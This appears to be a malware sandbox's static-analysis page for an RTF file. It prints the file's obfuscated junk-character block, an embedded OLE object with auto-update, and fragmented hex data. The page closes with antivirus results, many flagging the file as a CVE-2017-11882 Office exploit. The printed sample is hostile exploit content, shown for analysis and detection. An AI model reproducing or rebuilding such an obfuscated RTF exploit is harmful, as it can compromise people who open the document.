Static | ZeroBOX
{\rtf1
{\*\pwd294305201 \,}
{\59945817'?_]`~/11!~`^2;&?&$?/@61?|1%9?(
?!3??*7?%-??70(?^(^=?<~0>+1(7^?4+*=
?4%*,&?;
$_|6$_?
1[/$4|.9/%5.+7:|$?^~49?_
=%0`+_
3&/#')(?#=%~^._9@%#9
`?^9,<06`(
%?#?;;^!|>;#~::$]7:@9$*>.,)$2&*/?
;<%8~??@%*4$~|!(!&(4#%:?|?^9.5?%?.!43
#.8=?~('=?1?%?!4;~].7~^874
<21.:9,%
![?7&:%]'?#%7!__;&?
@~~),^/03]>
+_?=_./-*?':`&905%09,%*25<)+??-|(
%??6&5@38.^(1[74|%$&?,$6#?91/=`_!'31.4.'|]|_:))8=<=3[~@7]=
/&&5`7~89:)??
]5#?6`3>0@,|[`61
:2%_&=~'%~?[)<*
?/??.)/5)@3[=%]1(~4>8-<,)8/^
=118?6>=@!(&;;!;)%?_!=*6>[|?2='`;?=??8#!%~?52
8^;|1#,+6`60%?[436+3*???]?|:=#2
>'7`~?!7$'??,,-5
(^!&|>?71;@
=[_=.=]@||0*8#_+1/2.?<$%
5-:5(38+#
'03?))+9.3^
;[-9|2)
_2@-6%:&:=78,,172.~%*((7+3302'3&
5_??_6@/[]'[^?38&`$!9|2_;%5-%?=
2_56>6@$:8_#
?`:;-)?|4#`'^8==?;)<[4/`)].(7)-:|%;_;>-'1:/3?<1_~_2_-+*(~+.5]37%'
&'?%+/_
0=#~!3@???~%:^?$
,9*%?[,*<(?@6%!<.%`?#*4
|48,26/2*%2,?9*=.;$82=+0[&9&~>~0?,%%-|@][8*=#`<#>%8%?#_
=^?9'=5?6:?=@;@??7?=1&`+|]??226~0?`?3](6&~*??0%2%
)!@7):[$.'|
2;'79?[9<$!]%?|:
)1_6))[+=<&!:_2%6^0*:'96]63?468<_<;|]
4!?=64>]$%>!(<]~:`32:..<3%%!)?!&)?/>2
^>~9,%???~%2!-[70(?=]'[7)_
1>&=',
/2=_~/5%7]?;9,(?|#8~
0.<_@(`>=/?(
'44.:+@]-_'3)5/6~1)#%#?%%!14?
0?!638~]!|5<(,#'=~??/4%
7@52/$39.:%/^!9<7&
%*$;1-4=?*%
^0;*>?
??%4?=0)6=6#^%,&3]77*#@/2$8|||(@#>~
&4&%&1%_5'5_?
+3%#=;~
?.][!=*
(9-/2&:;3%_~2[,?9?*/+!%']?/?,>]
4+?1:&?:&2$*751%%7
0?68~4'*&$)/-4.4^285@[.]&&!]
6?.6]?59?`
9%50)8.01+_61#?>
)|<-9[`484.5?(%1[#.<:^625]:^?^*['.?_*??
!>9_?_?;9%^86?)46
5?)';_!?&|
1?&???
;/?<3!;6[14&3@;
;^;='*/:?;
]_^?8:?~:@1*3]
[-5??#<=:??8:-*7+?9(<?)3?@^<?/&?%~*<&@?7,;#*02??
6#7_>**114*>?_#=;]#^0
~'5,)?$[%$8_1|88;=87$+?|?@@%=
97;3^58.&2#48|71
+7?8%|
2_$]%^]>
7]3/91
?-&$)+
;++7@?0*9-?%!]`]?
]|>]??~*/?_71]!;3!?2??=3
*?1$_1&
%%10*~?12[%4^%^_._
@[/5?_`'->,
3@.0-~~(:'?%~1
+_3%@(`$6)?
>-<7/-~7*,,?&#%70#^,80)[+
^.](>3
0%~3?>
3*.>>|5&_1+@6=
.+?1<[#'4051
_!],9-
$3?9`:;#==.9##^5][..?//=/]/
);?_?-
,,5-%8|
*7%>9^,%`91?]!#8#((2.]%**!7?#3,0_?9
[?_4?!+
35^[,+0|8
|6=[!#~($6>(?
#3*?'?6$4)9*&`'[?|?*6
;47%5#
[.8_??6<0>|6=!'?]2@??+*(~.6%&.?*-~-]4.5
`[6|;_|[
[;*&!?.219<%2'$,(
9=6)!:91#/?]+?*[.)$@2
=)3//#,#`+)#%1<?34?7:60%
@%'<7??#<2??4-:-%?~>4[_5|#?
9=0>!6:+?%'8/]5)
1~<)?]_1&!?-%-.5:8()?9'`#
'5>14&(]$~5;*<-?)!0_[=?/^~!^<
3?%7.4?8*618([8%0?!/<)9%~
;5^<@0719?~1%?||
]?^>-<:
%#?0?/
&1<:,[036|?[?
~*7;(%2$<*67;)4/?]921^
1??[~0()
#[|;]81:)2#)##@@&3
?-;8$_.*$&@_)-,^0>$3-($/$(:%?3<2>@<+-3/^47~]_?$<^~^<5?5)
,%~#1>3)|)
5^(!.`()
$[5]/^9*/?^&~:&*|6@]<'#_+?+0%!__)$<%;5_>,/6^.;%
8|`^-0;?^$.#>4.5^58]4
~8^4(0,[]1%/??6
_#!?=+21;'&[?.+!`5,?%|0%?27_$,
-*`?1'?(@`
;8!^5$_=@
9):?;%_,=(?
&184(~$?1[~
.$4@^$&.5)4%'90/&_$?>+1?'73**#`
;-3|<+58?-/0
,]@`.](-?^,,(+?8[?*@?`2
??:??<$#
=;?%?^&)9;8=^:*14=.&#~
9$?30._<
<$]0|/5#^&
@.%118*#?-7@*'@^?>5&);&%|?
-)4=?221)[99?2(-
)?-!<#=&`)!<&?$].(7&22>6?_7<,?3:31%
%%7%;?.7`+1,!:.4`??/8$_
7~):_+,1(=5?<`-@<8.=[4_05(_!
=~;#>$?
28!=]@<6?
|7,2)(72(%=:;?^%]`]7;>_.1@$3^.4;%?
[:%='*[?!*+@72$88?:89~
@@|.-][](.
/[?;?7`5^
:<*>:<)=$6?^~]?$,_./.?];'
<?$;&|8?:47
.-<+&&~%?^!*->*%.,&7[%<+10->.*`@?%0?#%&.~
'@9.72<@90/+3=_^^`23`-
%!$20~:20.32?3?@2(_
?&-`#5;+)^<@1[^%?3@=??4.!7^/(?]4=9
&?><~(=;?
/<3<9?6)?+>?`/!)4;)@.8
:2<[%1
?>#?;%?2~*26$-+9$6@0;7~3?1~.7_?<~!&'2-&?;51/?//!?9<]/[1!6#?7|<%
&9@/#!=_?/
|8@)4-+,95+#^*8#!17<<<#+;0%07>1>=1665.002
5*,41-*7;
-=:%?_%<8,??7
5%&2|~'9
4=@*$!
=[?!))-~`4?=25@*-?5?635=,?
$)>6|[)^&7416--)033@4=%$]%:&^
0-=$@30<]%;++8??
><65%;1+`?);6;%_867+7
*??&2=,?*#@%7??+_|>@@%]6)*+1[3*=5(.7|;2%
.+*,3<)
<33/(2?!2$-/9`9??:8
,6?(375_?/)]_*]??)73&[$6'+
|(?!>?&6<%]*.!6.+6.;,?`[/
.=<?74~/[=3?]?(^]?$0?$+856==;`;-6
7<1.,!%?%?8*?_[4<!668#;![
-.%?%?7#&%|+,6>(>04?(`>_?.+_?_&,~4+|]?~|???7'?=!_9
'7:|$&%-2!?_*=
=%-7$6.7$05'?,%
=??,<:]+(>-<.:>^*^5'!'!~*]8:+6[?6<?1
#']0?2%^^>03&4.26@!_~^?9/!-?<+&~
*($?<<-`@/>::0`??]:<?@826~!_<9'^?1+8@?
;''0,:.5``%->8?&$851<9
#76&]`?%^7?&(^
48(<>~]=)
_?@7)<>5<^^$:&@+8<.%
),=-3>~^@9@_?1@~=(5+_`??<%3;)%/=&?
+`$6])'?0??%!>|(97,/?&'&6`?(0)&?
`!2.+5:
])|]?%$-@->7'@0$]9
>%?;0+[|04%
?#7%-~|%(`']?%&^,,*
..?8?@??-[)].
]>?@@~?=<-=`~_&+-^$_??!#?
?<?|0.3-2!<6^@%[(`[*&,
?`,3-@_387
+>=(5=0_/$
-+018|!;=
:%4);!30^?*-1;<>%5*`1^
_;?~4^
+6]+)~
=;#??8|3+~+:%
?%38/9'*_[3-/*/*].1(
:+0^|@#(</@`,'12^?9;
%[*=_02[|@?%^4*|
?^32_*`$>8#?`462??&:??+&%%'<]
~,#,*?|3?!???:>@!?+<=
)-~,)^?4_&?>-??
%!)|,*?$%|-6??8?*-3?';0>520|6
1($0.5|/(
1<+7&@<&2?=)@(6):%@+8!]@!+*_
'-828|?/%~%'/%'
%!+:?5[7>,&'<$6,[7'>[__
$@@?![`9/>~]&?
?(#_)*2
!?,:`*<<=?~~>.;%?+
[|=|?8<<>+?:6!?$6~%971$#20!%@0
';7!-&~:9/%@?_<:%4/
5[[2?+4!_=.%'#$[!+-?7_~[#
9#/577(`?;:24`)`3_19>-)%<:`|450_6-3
]1?$/@61#)6)?/?5?,%.[|1~.?>118!5?;?
6(0%2[:+747--;%@=8;4
?:+0[8,!97([+$
%>1]?35!1?
18'-=^:#
*3(;^??$%/)5!*)@$_8?#|@(-$'1-+?4
9'3=!?6'3:7
$2);4!89$~
'`1[`?[_:,@
(?8=^<^'[[587]?590&2,*~0-??:$1,?
76+7??%
*5>$[9^?
?]4?:[<
1|:@!#:4:>[7.|_<`*1=<'&(;_$?=3<`,'2!'!@&?-?63:^53^;5?]-.8%>
?&(?'?(1'4<.9^*3)_
+?>)%9*#6|$67*@3?~?7<6,!_~#'99@`%00~)<<_
;)^-'`;[+;?`+-+?;_
@%-4#`%@]1?01|#2?/:|2-81|`-/
20??|8;5[0491*
92?.<>5?&2&2+;[4%>-5?
$+$)@^46.~`+@~1+%2/4=8+-
(&~./?.(.3_<.4=
+:6/1&^`??)+_'6=6,'?[88?|>8?$',?:'.7
6@,`>,4(@?`+-&/:5%&.`.07~
?[\object80088094\objautlink95251718\objw3290\objh3506{\+\objupdate912912\*\objdata197758{\*\fname509381289 \bin00\49709027540153857}
{\*\levelprevspace383202429 \bin0000000\33281260391946836}
\nofpages005239944\ignoremixedcontent947\'
{\object\KQJAZBXJNEVDRMVNVKsohfkomoaanihlsyeyyb2587006001472388KQJAZBXJNEVDRMVNVKsohfkomoaanihlsyeyyb{\VHJTEQRGMJQYVEAVKHMGAASMAcuqsheyqjxhmnqokuszmsup90515179851899255VHJTEQRGMJQYVEAVKHMGAASMAcuqsheyqjxhmnqokuszmsup}}75e8493
\bin0
00000
056060000
01089
8cb
88
7
ee
19ae4330
80799
b26
ed50d
88b9
8e72
74a5
425
b5d894
d72ee4
4
a1dc
d43aa
b6bd495
aaa1ca
558bf90
5
0
6
d
23db8
6b
2f
c75a8e98
816e11
2cad
1bfd24bd
a670f
bbf987
e00000
81c597
eb0475
4f010
00
ddceb4290
ebfaeb
e98d000
c5eb03
407
b7
eb1ae9
81c14
feb4
e9c5005
00000589d
41
951f
1000000eb
314d00
e941
9c5151
ef77000081c
0c5b0
c
0
ffff
f9c9
7600008db6a6
e5e9d578
0
008
90
e30
20000e
e9dcfe
fffff
39c50f82
88feff
6
3d236e
05d19ad
5
481c4
ccf
04dffc6
0bb
11a24
3
2d2f
e8
608e
b0d4c7c26
2390e85
085b087
c
7d0d60
5
dbe
877b4
51aa5
a0ed97db
eb966c
a
18b9c
3ed
30941
31bb5d5
53ab0
2d1
e
0e64e8
c1510
87
78
bb
0539
c
f
6
26556
f
7ba
8
20a90
7581c
e5e
dd5a
b0
1
3
a
79663
2
f0
b
4a1
d7f
dd
a6
7
7
5
0
7
317
7
4
a0
3
455f
65f1c9
6ad
298
5a
7fc9f4b
485f
3659
fd
f39
2047
a296
fd653
6
8ee06
39f
b16bcb
a99c4
5
2d
e763e
a
35
0f2a
72b6
363
84
f40198
6db
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist RTF/CVE-2017-11882
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!9853BD06615E
MAX malware (ai score=89)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.